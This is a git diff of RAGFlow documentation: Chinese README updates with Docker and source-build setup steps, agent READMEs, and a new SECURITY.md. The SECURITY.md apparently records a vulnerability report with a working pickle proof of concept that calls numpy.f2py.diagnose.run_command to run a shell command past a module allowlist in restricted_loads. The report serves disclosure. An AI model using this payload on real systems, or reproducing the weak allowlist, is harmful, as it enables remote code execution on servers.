+   $ cd ragflow/docker
+   $ docker compose -f docker-compose.yml up -d
+   ```
+
+   | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?                  |
+   | ----------------- | --------------- | --------------------- | ------------------------ |
+   | v0.17.0           | &approx;9       | :heavy_check_mark:    | Stable release           |
+   | v0.17.0-slim      | &approx;2       | ❌                    | Stable release           |
+   | nightly           | &approx;9       | :heavy_check_mark:    | _Unstable_ nightly build |
+   | nightly-slim      | &approx;2       | ❌                     | _Unstable_ nightly build |
+
+   > [!TIP]
+   > 如果你遇到 Docker 映像檔拉不下來的問題，可以在 **docker/.env** 檔案內根據變數 `RAGFLOW_IMAGE` 的註解提示選擇華為雲或阿里雲的對應映像。
+   >
+   > - 華為雲鏡像名：`swr.cn-north-4.myhuaweicloud.com/infiniflow/ragflow`
+   > - 阿里雲鏡像名：`registry.cn-hangzhou.aliyuncs.com/infiniflow/ragflow`
+
+4. 伺服器啟動成功後再次確認伺服器狀態：
+
+   ```bash
+   $ docker logs -f ragflow-server
+   ```
+
+   _出現以下介面提示說明伺服器啟動成功：_
+
+   ```bash
+        ____   ___    ______ ______ __
+       / __ \ /   |  / ____// ____// /____  _      __
+      / /_/ // /| | / / __ / /_   / // __ \| | /| / /
+     / _, _// ___ |/ /_/ // __/  / // /_/ /| |/ |/ /
+    /_/ |_|/_/  |_|\____//_/    /_/ \____/ |__/|__/
+
+    * Running on all addresses (0.0.0.0)
+   ```
+
+   > 如果您跳過這一步驟系統確認步驟就登入 RAGFlow，你的瀏覽器有可能會提示 `network anormal` 或 `網路異常`，因為 RAGFlow 可能並未完全啟動成功。
+
+5. 在你的瀏覽器中輸入你的伺服器對應的 IP 位址並登入 RAGFlow。
+   > 上面這個範例中，您只需輸入 http://IP_OF_YOUR_MACHINE 即可：未改動過設定則無需輸入連接埠（預設的 HTTP 服務連接埠 80）。
+6. 在 [service_conf.yaml.template](./docker/service_conf.yaml.template) 檔案的 `user_default_llm` 欄位設定 LLM factory，並在 `API_KEY` 欄填入和你選擇的大模型相對應的 API key。
+
+   > 詳見 [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup)。
+
+   _好戲開始，接著奏樂接著舞！ _
+
+## 🔧 系統配置
+
+系統配置涉及以下三份文件：
+
+- [.env](./docker/.env)：存放一些系統環境變量，例如 `SVR_HTTP_PORT`、`MYSQL_PASSWORD`、`MINIO_PASSWORD` 等。
+- [service_conf.yaml.template](./docker/service_conf.yaml.template)：設定各類別後台服務。
+- [docker-compose.yml](./docker/docker-compose.yml): 系統依賴該檔案完成啟動。
+
+請務必確保 [.env](./docker/.env) 檔案中的變數設定與 [service_conf.yaml.template](./docker/service_conf.yaml.template) 檔案中的設定保持一致！
+
+如果無法存取映像網站 hub.docker.com 或模型網站 huggingface.co，請依照 [.env](./docker/.env) 註解修改 `RAGFLOW_IMAGE` 和 `HF_ENDPOINT`。
+
+> [./docker/README](./docker/README.md) 解釋了 [service_conf.yaml.template](./docker/service_conf.yaml.template) 用到的環境變數設定和服務配置。
+
+如需更新預設的 HTTP 服務連接埠(80), 可以在[docker-compose.yml](./docker/docker-compose.yml) 檔案中將配置`80:80` 改為`<YOUR_SERVING_PORT>:80` 。
+
+> 所有系統配置都需要透過系統重新啟動生效：
+>
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+###把文檔引擎從 Elasticsearch 切換成為 Infinity
+
+RAGFlow 預設使用 Elasticsearch 儲存文字和向量資料. 如果要切換為 [Infinity](https://github.com/infiniflow/infinity/), 可以按照下面步驟進行:
+
+1. 停止所有容器運作:
+
+   ```bash
+   $ docker compose -f docker/docker-compose.yml down -v
+   ```
+   Note: `-v` 將會刪除 docker 容器的 volumes，已有的資料會被清空。
+
+2. 設定 **docker/.env** 目錄中的 `DOC_ENGINE` 為 `infinity`.
+
+3. 啟動容器:
+
+   ```bash
+   $ docker compose -f docker-compose.yml up -d
+   ```
+
+> [!WARNING]
+> Infinity 目前官方並未正式支援在 Linux/arm64 架構下的機器上運行.
+
+## 🔧 原始碼編譯 Docker 映像（不含 embedding 模型）
+
+本 Docker 映像大小約 2 GB 左右並且依賴外部的大模型和 embedding 服務。
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --build-arg LIGHTEN=1 --build-arg NEED_MIRROR=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim .
+```
+
+## 🔧 原始碼編譯 Docker 映像（包含 embedding 模型）
+
+本 Docker 大小約 9 GB 左右。由於已包含 embedding 模型，所以只需依賴外部的大模型服務即可。
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --build-arg NEED_MIRROR=1 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 以原始碼啟動服務
+
+1. 安裝 uv。如已安裝，可跳過此步驟：
+
+   ```bash
+   pipx install uv
+   export UV_INDEX=https://mirrors.aliyun.com/pypi/simple
+   ```
+
+2. 下載原始碼並安裝 Python 依賴：
+
+   ```bash
+   git clone https://github.com/infiniflow/ragflow.git
+   cd ragflow/
+   uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules
+   ```
+
+3. 透過 Docker Compose 啟動依賴的服務（MinIO, Elasticsearch, Redis, and MySQL）：
+
+   ```bash
+   docker compose -f docker/docker-compose-base.yml up -d
+   ```
+
+   在 `/etc/hosts` 中加入以下程式碼，將 **conf/service_conf.yaml** 檔案中的所有 host 位址都解析為 `127.0.0.1`：
+
+   ```
+   127.0.0.1 es01 infinity mysql minio redis
+   ```
+
+4. 如果無法存取 HuggingFace，可以把環境變數 `HF_ENDPOINT` 設為對應的鏡像網站：
+
+   ```bash
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
+
+5.啟動後端服務：
+『`bash
+source .venv/bin/activate
+export PYTHONPATH=$(pwd)
+bash docker/launch_backend_service.sh
+
+```
+
+6. 安裝前端依賴：
+『`bash
+cd web
+npm install
+```
+
+7. 啟動前端服務：
+   『`bash
+   npm run dev
+
+   ```
+
+   以下界面說明系統已成功啟動：_
+
+   ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187)
+   ```
+
+## 📚 技術文檔
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [User guide](https://ragflow.io/docs/dev/category/guides)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQ](https://ragflow.io/docs/dev/faq)
+
+## 📜 路線圖
+
+詳見 [RAGFlow Roadmap 2025](https://github.com/infiniflow/ragflow/issues/4214) 。
+
+## 🏄 開源社群
+
+- [Discord](https://discord.gg/4XxujFgUN7)
+- [Twitter](https://twitter.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 貢獻指南
+
+RAGFlow 只有透過開源協作才能蓬勃發展。秉持這項精神,我們歡迎來自社區的各種貢獻。如果您有意參與其中,請查閱我們的 [貢獻者指南](./CONTRIBUTING.md) 。
+
+## 🤝 商務合作
+
+- [預約諮詢](https://aao615odquw.feishu.cn/share/base/form/shrcnjw7QleretCLqh1nuPo1xxh)
+
+## 👥 加入社區
+
+掃二維碼加入 RAGFlow 小助手，進 RAGFlow 交流群。
+
+<p align="center">
+  <img src="https://github.com/infiniflow/ragflow/assets/7248/bccf284f-46f2-4445-9809-8f1030fb7585" width=50% height=50%>
+</p>

README_zh.md

@@ -7,23 +7,69 @@
 <p align="center">
   <a href="./README.md">English</a> |
   <a href="./README_zh.md">简体中文</a> |
-  <a href="./README_ja.md">日本語</a>
+  <a href="./README_tzh.md">繁体中文</a> |
+  <a href="./README_ja.md">日本語</a> |
+  <a href="./README_ko.md">한국어</a> |
+  <a href="./README_id.md">Bahasa Indonesia</a> |
+  <a href="/README_pt_br.md">Português (Brasil)</a>
 </p>
 
 <p align="center">
+    <a href="https://x.com/intent/follow?screen_name=infiniflowai" target="_blank">
+        <img src="https://img.shields.io/twitter/follow/infiniflow?logo=X&color=%20%23f5f5f5" alt="follow on X(Twitter)">
+    </a>
     <a href="https://demo.ragflow.io" target="_blank">
-        <img alt="Static Badge" src="https://img.shields.io/badge/RAGFLOW-LLM-white?&labelColor=dd0af7"></a>
+        <img alt="Static Badge" src="https://img.shields.io/badge/Online-Demo-4e6b99">
+    </a>
     <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
-        <img src="https://img.shields.io/badge/docker_pull-ragflow:v1.0-brightgreen"
-            alt="docker pull infiniflow/ragflow:v0.3.0"></a>
-      <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
-    <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?style=flat-square&labelColor=d4eaf7&color=7d09f1" alt="license">
-  </a>
+        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.17.0-brightgreen" alt="docker pull infiniflow/ragflow:v0.17.0">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/releases/latest">
+        <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Latest%20Release" alt="Latest Release">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+        <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
+    </a>
 </p>
 
+<h4 align="center">
+  <a href="https://ragflow.io/docs/dev/">Document</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/4214">Roadmap</a> |
+  <a href="https://twitter.com/infiniflowai">Twitter</a> |
+  <a href="https://discord.gg/4XxujFgUN7">Discord</a> |
+  <a href="https://demo.ragflow.io">Demo</a>
+</h4>
+
 ## 💡 RAGFlow 是什么？
 
-[RAGFlow](https://demo.ragflow.io) 是一款基于深度文档理解构建的开源 RAG（Retrieval-Augmented Generation）引擎。RAGFlow 可以为各种规模的企业及个人提供一套精简的 RAG 工作流程，结合大语言模型（LLM）针对用户各类不同的复杂格式数据提供可靠的问答以及有理有据的引用。
+[RAGFlow](https://ragflow.io/) 是一款基于深度文档理解构建的开源 RAG（Retrieval-Augmented Generation）引擎。RAGFlow 可以为各种规模的企业及个人提供一套精简的 RAG 工作流程，结合大语言模型（LLM）针对用户各类不同的复杂格式数据提供可靠的问答以及有理有据的引用。
+
+## 🎮 Demo 试用
+
+请登录网址 [https://demo.ragflow.io](https://demo.ragflow.io) 试用 demo。
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/7248/2f6baa3e-1092-4f11-866d-36f6a9d075e5" width="1200"/>
+<img src="https://github.com/user-attachments/assets/504bbbf1-c9f7-4d83-8cc5-e9cb63c26db6" width="1200"/>
+</div>
+
+## 🔥 近期更新
+
+- 2025-02-05 更新硅基流动的模型列表，增加了对 Deepseek-R1/DeepSeek-V3 的支持。
+- 2025-01-26 优化知识图谱的提取和应用，提供了多种配置选择。
+- 2024-12-18 升级了 DeepDoc 的文档布局分析模型。
+- 2024-12-04 支持知识库的 Pagerank 分数。
+- 2024-11-22 完善了 Agent 中的变量定义和使用。
+- 2024-11-01 对解析后的 chunk 加入关键词抽取和相关问题生成以提高召回的准确度。
+- 2024-08-22 支持用 RAG 技术实现从自然语言到 SQL 语句的转换。
+
+## 🎉 关注项目
+
+⭐️ 点击右上角的 Star 关注 RAGFlow，可以获取最新发布的实时通知 !🌟
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/18c9707e-b8aa-4caf-a154-037089c105ba" width="1200"/>
+</div>
 
 ## 🌟 主要功能
 
@@ -44,7 +90,7 @@
 
 ### 🍔 **兼容各类异构数据源**
 
-- 支持丰富的文件类型，包括 Word 文档、PPT、excel 表格、txt 文件、图片、PDF、影印件、复印件、结构化数据, 网页等。
+- 支持丰富的文件类型，包括 Word 文档、PPT、excel 表格、txt 文件、图片、PDF、影印件、复印件、结构化数据、网页等。
 
 ### 🛀 **全程无忧、自动化的 RAG 工作流**
 
@@ -53,16 +99,6 @@
 - 基于多路召回、融合重排序。
 - 提供易用的 API，可以轻松集成到各类企业系统。
 
-## 📌 新增功能
-
-- 2024-04-19 支持对话 API([更多](./docs/conversation_api.md)).
-- 2024-04-16 添加嵌入模型 [BCEmbedding](https://github.com/netease-youdao/BCEmbedding) 。
-- 2024-04-16 添加 [FastEmbed](https://github.com/qdrant/fastembed) 专为轻型和高速嵌入而设计。
-- 2024-04-11 支持用 [Xinference](./docs/xinference.md) 本地化部署大模型。
-- 2024-04-10 为‘Laws’版面分析增加了底层模型。
-- 2024-04-08 支持用 [Ollama](./docs/ollama.md) 本地化部署大模型。
-- 2024-04-07 支持中文界面。
-
 ## 🔎 系统架构
 
 <div align="center" style="margin-top:20px;margin-bottom:20px;">
@@ -74,13 +110,14 @@
 ### 📝 前提条件
 
 - CPU >= 4 核
-- RAM >= 12 GB
+- RAM >= 16 GB
+- Disk >= 50 GB
 - Docker >= 24.0.0 & Docker Compose >= v2.26.1
   > 如果你并没有在本机安装 Docker（Windows、Mac，或者 Linux）, 可以参考文档 [Install Docker Engine](https://docs.docker.com/engine/install/) 自行安装。
 
 ### 🚀 启动服务器
 
-1. 确保 `vm.max_map_count` 不小于 262144 【[更多](./docs/max_map_count.md)】：
+1. 确保 `vm.max_map_count` 不小于 262144：
 
    > 如需确认 `vm.max_map_count` 的大小：
    >
@@ -109,13 +146,25 @@
 
 3. 进入 **docker** 文件夹，利用提前编译好的 Docker 镜像启动服务器：
 
+   > 运行以下命令会自动下载 RAGFlow slim Docker 镜像 `v0.17.0-slim`。请参考下表查看不同 Docker 发行版的描述。如需下载不同于 `v0.17.0-slim` 的 Docker 镜像，请在运行 `docker compose` 启动服务之前先更新 **docker/.env** 文件内的 `RAGFLOW_IMAGE` 变量。比如，你可以通过设置 `RAGFLOW_IMAGE=infiniflow/ragflow:v0.17.0` 来下载 RAGFlow 镜像的 `v0.17.0` 完整发行版。
+
    ```bash
    $ cd ragflow/docker
-   $ chmod +x ./entrypoint.sh
-   $ docker compose -f docker-compose-CN.yml up -d
+   $ docker compose -f docker-compose.yml up -d
    ```
 
-   > 核心镜像文件大约 15 GB，可能需要一定时间拉取。请耐心等待。
+   | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?                  |
+   | ----------------- | --------------- | --------------------- | ------------------------ |
+   | v0.17.0           | &approx;9       | :heavy_check_mark:    | Stable release           |
+   | v0.17.0-slim      | &approx;2       | ❌                    | Stable release           |
+   | nightly           | &approx;9       | :heavy_check_mark:    | _Unstable_ nightly build |
+   | nightly-slim      | &approx;2       | ❌                     | _Unstable_ nightly build |
+
+   > [!TIP]
+   > 如果你遇到 Docker 镜像拉不下来的问题，可以在 **docker/.env** 文件内根据变量 `RAGFLOW_IMAGE` 的注释提示选择华为云或者阿里云的相应镜像。
+   >
+   > - 华为云镜像名：`swr.cn-north-4.myhuaweicloud.com/infiniflow/ragflow`
+   > - 阿里云镜像名：`registry.cn-hangzhou.aliyuncs.com/infiniflow/ragflow`
 
 4. 服务器启动成功后再次确认服务器状态：
 
@@ -126,24 +175,22 @@
    _出现以下界面提示说明服务器启动成功：_
 
    ```bash
-       ____                 ______ __
-      / __ \ ____ _ ____ _ / ____// /____  _      __
-     / /_/ // __ `// __ `// /_   / // __ \| | /| / /
-    / _, _// /_/ // /_/ // __/  / // /_/ /| |/ |/ /
-   /_/ |_| \__,_/ \__, //_/    /_/ \____/ |__/|__/
-                 /____/
+        ____   ___    ______ ______ __
+       / __ \ /   |  / ____// ____// /____  _      __
+      / /_/ // /| | / / __ / /_   / // __ \| | /| / /
+     / _, _// ___ |/ /_/ // __/  / // /_/ /| |/ |/ /
+    /_/ |_|/_/  |_|\____//_/    /_/ \____/ |__/|__/
 
     * Running on all addresses (0.0.0.0)
-    * Running on http://127.0.0.1:9380
-    * Running on http://x.x.x.x:9380
-    INFO:werkzeug:Press CTRL+C to quit
    ```
 
+   > 如果您在没有看到上面的提示信息出来之前，就尝试登录 RAGFlow，你的浏览器有可能会提示 `network anormal` 或 `网络异常`。
+
 5. 在你的浏览器中输入你的服务器对应的 IP 地址并登录 RAGFlow。
    > 上面这个例子中，您只需输入 http://IP_OF_YOUR_MACHINE 即可：未改动过配置则无需输入端口（默认的 HTTP 服务端口 80）。
-6. 在 [service_conf.yaml](./docker/service_conf.yaml) 文件的 `user_default_llm` 栏配置 LLM factory，并在 `API_KEY` 栏填写和你选择的大模型相对应的 API key。
+6. 在 [service_conf.yaml.template](./docker/service_conf.yaml.template) 文件的 `user_default_llm` 栏配置 LLM factory，并在 `API_KEY` 栏填写和你选择的大模型相对应的 API key。
 
-   > 详见 [./docs/llm_api_key_setup.md](./docs/llm_api_key_setup.md)。
+   > 详见 [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup)。
 
    _好戏开始，接着奏乐接着舞！_
 
@@ -152,50 +199,147 @@
 系统配置涉及以下三份文件：
 
 - [.env](./docker/.env)：存放一些基本的系统环境变量，比如 `SVR_HTTP_PORT`、`MYSQL_PASSWORD`、`MINIO_PASSWORD` 等。
-- [service_conf.yaml](./docker/service_conf.yaml)：配置各类后台服务。
-- [docker-compose-CN.yml](./docker/docker-compose-CN.yml): 系统依赖该文件完成启动。
+- [service_conf.yaml.template](./docker/service_conf.yaml.template)：配置各类后台服务。
+- [docker-compose.yml](./docker/docker-compose.yml): 系统依赖该文件完成启动。
 
-请务必确保 [.env](./docker/.env) 文件中的变量设置与 [service_conf.yaml](./docker/service_conf.yaml) 文件中的配置保持一致！
+请务必确保 [.env](./docker/.env) 文件中的变量设置与 [service_conf.yaml.template](./docker/service_conf.yaml.template) 文件中的配置保持一致！
 
-> [./docker/README](./docker/README.md) 文件提供了环境变量设置和服务配置的详细信息。请**一定要**确保 [./docker/README](./docker/README.md) 文件当中列出来的环境变量的值与 [service_conf.yaml](./docker/service_conf.yaml) 文件当中的系统配置保持一致。
+如果不能访问镜像站点 hub.docker.com 或者模型站点 huggingface.co，请按照 [.env](./docker/.env) 注释修改 `RAGFLOW_IMAGE` 和 `HF_ENDPOINT`。
 
-如需更新默认的 HTTP 服务端口(80), 可以在 [docker-compose-CN.yml](./docker/docker-compose-CN.yml) 文件中将配置 `80:80` 改为 `<YOUR_SERVING_PORT>:80`。
+> [./docker/README](./docker/README.md) 解释了 [service_conf.yaml.template](./docker/service_conf.yaml.template) 用到的环境变量设置和服务配置。
+
+如需更新默认的 HTTP 服务端口(80), 可以在 [docker-compose.yml](./docker/docker-compose.yml) 文件中将配置 `80:80` 改为 `<YOUR_SERVING_PORT>:80`。
 
 > 所有系统配置都需要通过系统重启生效：
 >
 > ```bash
-> $ docker compose -f docker-compose-CN.yml up -d
+> $ docker compose -f docker-compose.yml up -d
 > ```
 
-## 🛠️ 源码编译、安装 Docker 镜像
+### 把文档引擎从 Elasticsearch 切换成为 Infinity
 
-如需从源码安装 Docker 镜像：
+RAGFlow 默认使用 Elasticsearch 存储文本和向量数据. 如果要切换为 [Infinity](https://github.com/infiniflow/infinity/), 可以按照下面步骤进行:
+
+1. 停止所有容器运行:
+
+   ```bash
+   $ docker compose -f docker/docker-compose.yml down -v
+   ```
+   Note: `-v` 将会删除 docker 容器的 volumes，已有的数据会被清空。
+
+2. 设置 **docker/.env** 目录中的 `DOC_ENGINE` 为 `infinity`.
+
+3. 启动容器:
+
+   ```bash
+   $ docker compose -f docker-compose.yml up -d
+   ```
+
+> [!WARNING]
+> Infinity 目前官方并未正式支持在 Linux/arm64 架构下的机器上运行.
+
+## 🔧 源码编译 Docker 镜像（不含 embedding 模型）
+
+本 Docker 镜像大小约 2 GB 左右并且依赖外部的大模型和 embedding 服务。
 
 ```bash
-$ git clone https://github.com/infiniflow/ragflow.git
-$ cd ragflow/
-$ docker build -t infiniflow/ragflow:v0.3.0 .
-$ cd ragflow/docker
-$ chmod +x ./entrypoint.sh
-$ docker compose up -d
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --build-arg LIGHTEN=1 --build-arg NEED_MIRROR=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim .
 ```
 
+## 🔧 源码编译 Docker 镜像（包含 embedding 模型）
+
+本 Docker 大小约 9 GB 左右。由于已包含 embedding 模型，所以只需依赖外部的大模型服务即可。
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --build-arg NEED_MIRROR=1 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 以源代码启动服务
+
+1. 安装 uv。如已经安装，可跳过本步骤：
+
+   ```bash
+   pipx install uv
+   export UV_INDEX=https://mirrors.aliyun.com/pypi/simple
+   ```
+
+2. 下载源代码并安装 Python 依赖：
+
+   ```bash
+   git clone https://github.com/infiniflow/ragflow.git
+   cd ragflow/
+   uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules
+   ```
+
+3. 通过 Docker Compose 启动依赖的服务（MinIO, Elasticsearch, Redis, and MySQL）：
+
+   ```bash
+   docker compose -f docker/docker-compose-base.yml up -d
+   ```
+
+   在 `/etc/hosts` 中添加以下代码，将 **conf/service_conf.yaml** 文件中的所有 host 地址都解析为 `127.0.0.1`：
+
+   ```
+   127.0.0.1       es01 infinity mysql minio redis
+   ```
+
+4. 如果无法访问 HuggingFace，可以把环境变量 `HF_ENDPOINT` 设成相应的镜像站点：
+
+   ```bash
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
+
+5. 启动后端服务：
+
+   ```bash
+   source .venv/bin/activate
+   export PYTHONPATH=$(pwd)
+   bash docker/launch_backend_service.sh
+   ```
+
+6. 安装前端依赖：
+   ```bash
+   cd web
+   npm install
+   ```
+7. 启动前端服务：
+
+   ```bash
+   npm run dev
+   ```
+
+   _以下界面说明系统已经成功启动：_
+
+   ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187)
+
 ## 📚 技术文档
 
-- [FAQ](./docs/faq.md)
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [User guide](https://ragflow.io/docs/dev/category/guides)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQ](https://ragflow.io/docs/dev/faq)
 
 ## 📜 路线图
 
-详见 [RAGFlow Roadmap 2024](https://github.com/infiniflow/ragflow/issues/162) 。
+详见 [RAGFlow Roadmap 2025](https://github.com/infiniflow/ragflow/issues/4214) 。
 
 ## 🏄 开源社区
 
 - [Discord](https://discord.gg/4XxujFgUN7)
 - [Twitter](https://twitter.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
 
 ## 🙌 贡献指南
 
-RAGFlow 只有通过开源协作才能蓬勃发展。秉持这一精神,我们欢迎来自社区的各种贡献。如果您有意参与其中,请查阅我们的[贡献者指南](https://github.com/infiniflow/ragflow/blob/main/docs/CONTRIBUTING.md) 。
+RAGFlow 只有通过开源协作才能蓬勃发展。秉持这一精神,我们欢迎来自社区的各种贡献。如果您有意参与其中,请查阅我们的 [贡献者指南](./CONTRIBUTING.md) 。
+
+## 🤝 商务合作
+
+- [预约咨询](https://aao615odquw.feishu.cn/share/base/form/shrcnjw7QleretCLqh1nuPo1xxh)
 
 ## 👥 加入社区
 
@@ -204,4 +348,3 @@ RAGFlow 只有通过开源协作才能蓬勃发展。秉持这一精神,我们
 <p align="center">
   <img src="https://github.com/infiniflow/ragflow/assets/7248/bccf284f-46f2-4445-9809-8f1030fb7585" width=50% height=50%>
 </p>
-

SECURITY.md

@@ -0,0 +1,74 @@
+# Security Policy
+
+## Supported Versions
+
+Use this section to tell people about which versions of your project are
+currently being supported with security updates.
+
+| Version | Supported          |
+| ------- | ------------------ |
+| <=0.7.0   | :white_check_mark: |
+
+## Reporting a Vulnerability
+
+### Branch name
+
+main
+
+### Actual behavior
+
+The restricted_loads function at [api/utils/__init__.py#L215](https://github.com/infiniflow/ragflow/blob/main/api/utils/__init__.py#L215) is still vulnerable leading via code execution.
+The main reason is that numpy module has a numpy.f2py.diagnose.run_command function directly execute commands, but the restricted_loads function allows users import functions in module numpy.
+
+
+### Steps to reproduce
+
+
+**ragflow_patch.py**
+
+```py
+import builtins
+import io
+import pickle
+
+safe_module = {
+    'numpy',
+    'rag_flow'
+}
+
+
+class RestrictedUnpickler(pickle.Unpickler):
+    def find_class(self, module, name):
+        import importlib
+        if module.split('.')[0] in safe_module:
+            _module = importlib.import_module(module)
+            return getattr(_module, name)
+        # Forbid everything else.
+        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
+                                     (module, name))
+
+
+def restricted_loads(src):
+    """Helper function analogous to pickle.loads()."""
+    return RestrictedUnpickler(io.BytesIO(src)).load()
+```
+Then, **PoC.py**
+```py
+import pickle
+from ragflow_patch import restricted_loads
+class Exploit:
+     def __reduce__(self):
+         import numpy.f2py.diagnose
+         return numpy.f2py.diagnose.run_command, ('whoami', )
+
+Payload=pickle.dumps(Exploit())
+restricted_loads(Payload)
+```
+**Result**
+![image](https://github.com/infiniflow/ragflow/assets/85293841/8e5ed255-2e84-466c-bce4-776f7e4401e8)
+
+
+### Additional information
+
+#### How to prevent?
+Strictly filter the module and name before calling with getattr function.

agent/README.md

@@ -0,0 +1,45 @@
+English | [简体中文](./README_zh.md)
+
+# *Graph*
+
+
+## Introduction
+
+*Graph* is a mathematical concept which is composed of nodes and edges. 
+It is used to compose a complex work flow or agent. 
+And this graph is beyond the DAG that we can use circles to describe our agent or work flow.
+Under this folder, we propose a test tool ./test/client.py which can test the DSLs such as json files in folder ./test/dsl_examples.
+Please use this client at the same folder you start RAGFlow. If it's run by Docker, please go into the container before running the client.
+Otherwise, correct configurations in service_conf.yaml is essential.
+
+```bash
+PYTHONPATH=path/to/ragflow python graph/test/client.py -h
+usage: client.py [-h] -s DSL -t TENANT_ID -m
+
+options:
+  -h, --help            show this help message and exit
+  -s DSL, --dsl DSL     input dsl
+  -t TENANT_ID, --tenant_id TENANT_ID
+                        Tenant ID
+  -m, --stream          Stream output
+```
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/79179c5e-d4d6-464a-b6c4-5721cb329899" width="1000"/>
+</div>
+
+
+## How to gain a TENANT_ID in command line?
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/419d8588-87b1-4ab8-ac49-2d1f047a4b97" width="600"/>
+</div>
+💡 We plan to display it here in the near future.
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/c97915de-0091-46a5-afd9-e278946e5fe3" width="600"/>
+</div>
+
+
+## How to set 'kb_ids' for component 'Retrieval' in DSL?
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/0a731534-cac8-49fd-8a92-ca247eeef66d" width="600"/>
+</div>
+

agent/README_zh.md

@@ -0,0 +1,46 @@
+[English](./README.md) | 简体中文
+
+# *Graph*
+
+
+## 简介
+
+"Graph"是一个由节点和边组成的数学概念。
+它被用来构建复杂的工作流或代理。
+这个图超越了有向无环图（DAG），我们可以使用循环来描述我们的代理或工作流。
+在这个文件夹下，我们提出了一个测试工具 ./test/client.py，
+它可以测试像文件夹./test/dsl_examples下一样的DSL文件。
+请在启动 RAGFlow 的同一文件夹中使用此客户端。如果它是通过 Docker 运行的，请在运行客户端之前进入容器。
+否则，正确配置 service_conf.yaml 文件是必不可少的。
+
+```bash
+PYTHONPATH=path/to/ragflow python graph/test/client.py -h
+usage: client.py [-h] -s DSL -t TENANT_ID -m
+
+options:
+  -h, --help            show this help message and exit
+  -s DSL, --dsl DSL     input dsl
+  -t TENANT_ID, --tenant_id TENANT_ID
+                        Tenant ID
+  -m, --stream          Stream output
+```
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/05924730-c427-495b-8ee4-90b8b2250681" width="1000"/>
+</div>
+
+
+## 命令行中的TENANT_ID如何获得?
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/419d8588-87b1-4ab8-ac49-2d1f047a4b97" width="600"/>
+</div>
+💡 后面会展示在这里：
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/c97915de-0091-46a5-afd9-e278946e5fe3" width="600"/>
+</div>
+
+
+## DSL里面的Retrieval组件的kb_ids怎么填?
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/0a731534-cac8-49fd-8a92-ca247eeef66d" width="600"/>
+</div>
+

agent/__init__.py

@@ -1,21 +1,18 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-
-import operator
-import time
-import typing
-from api.utils.log_utils import sql_logger
-import peewee
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
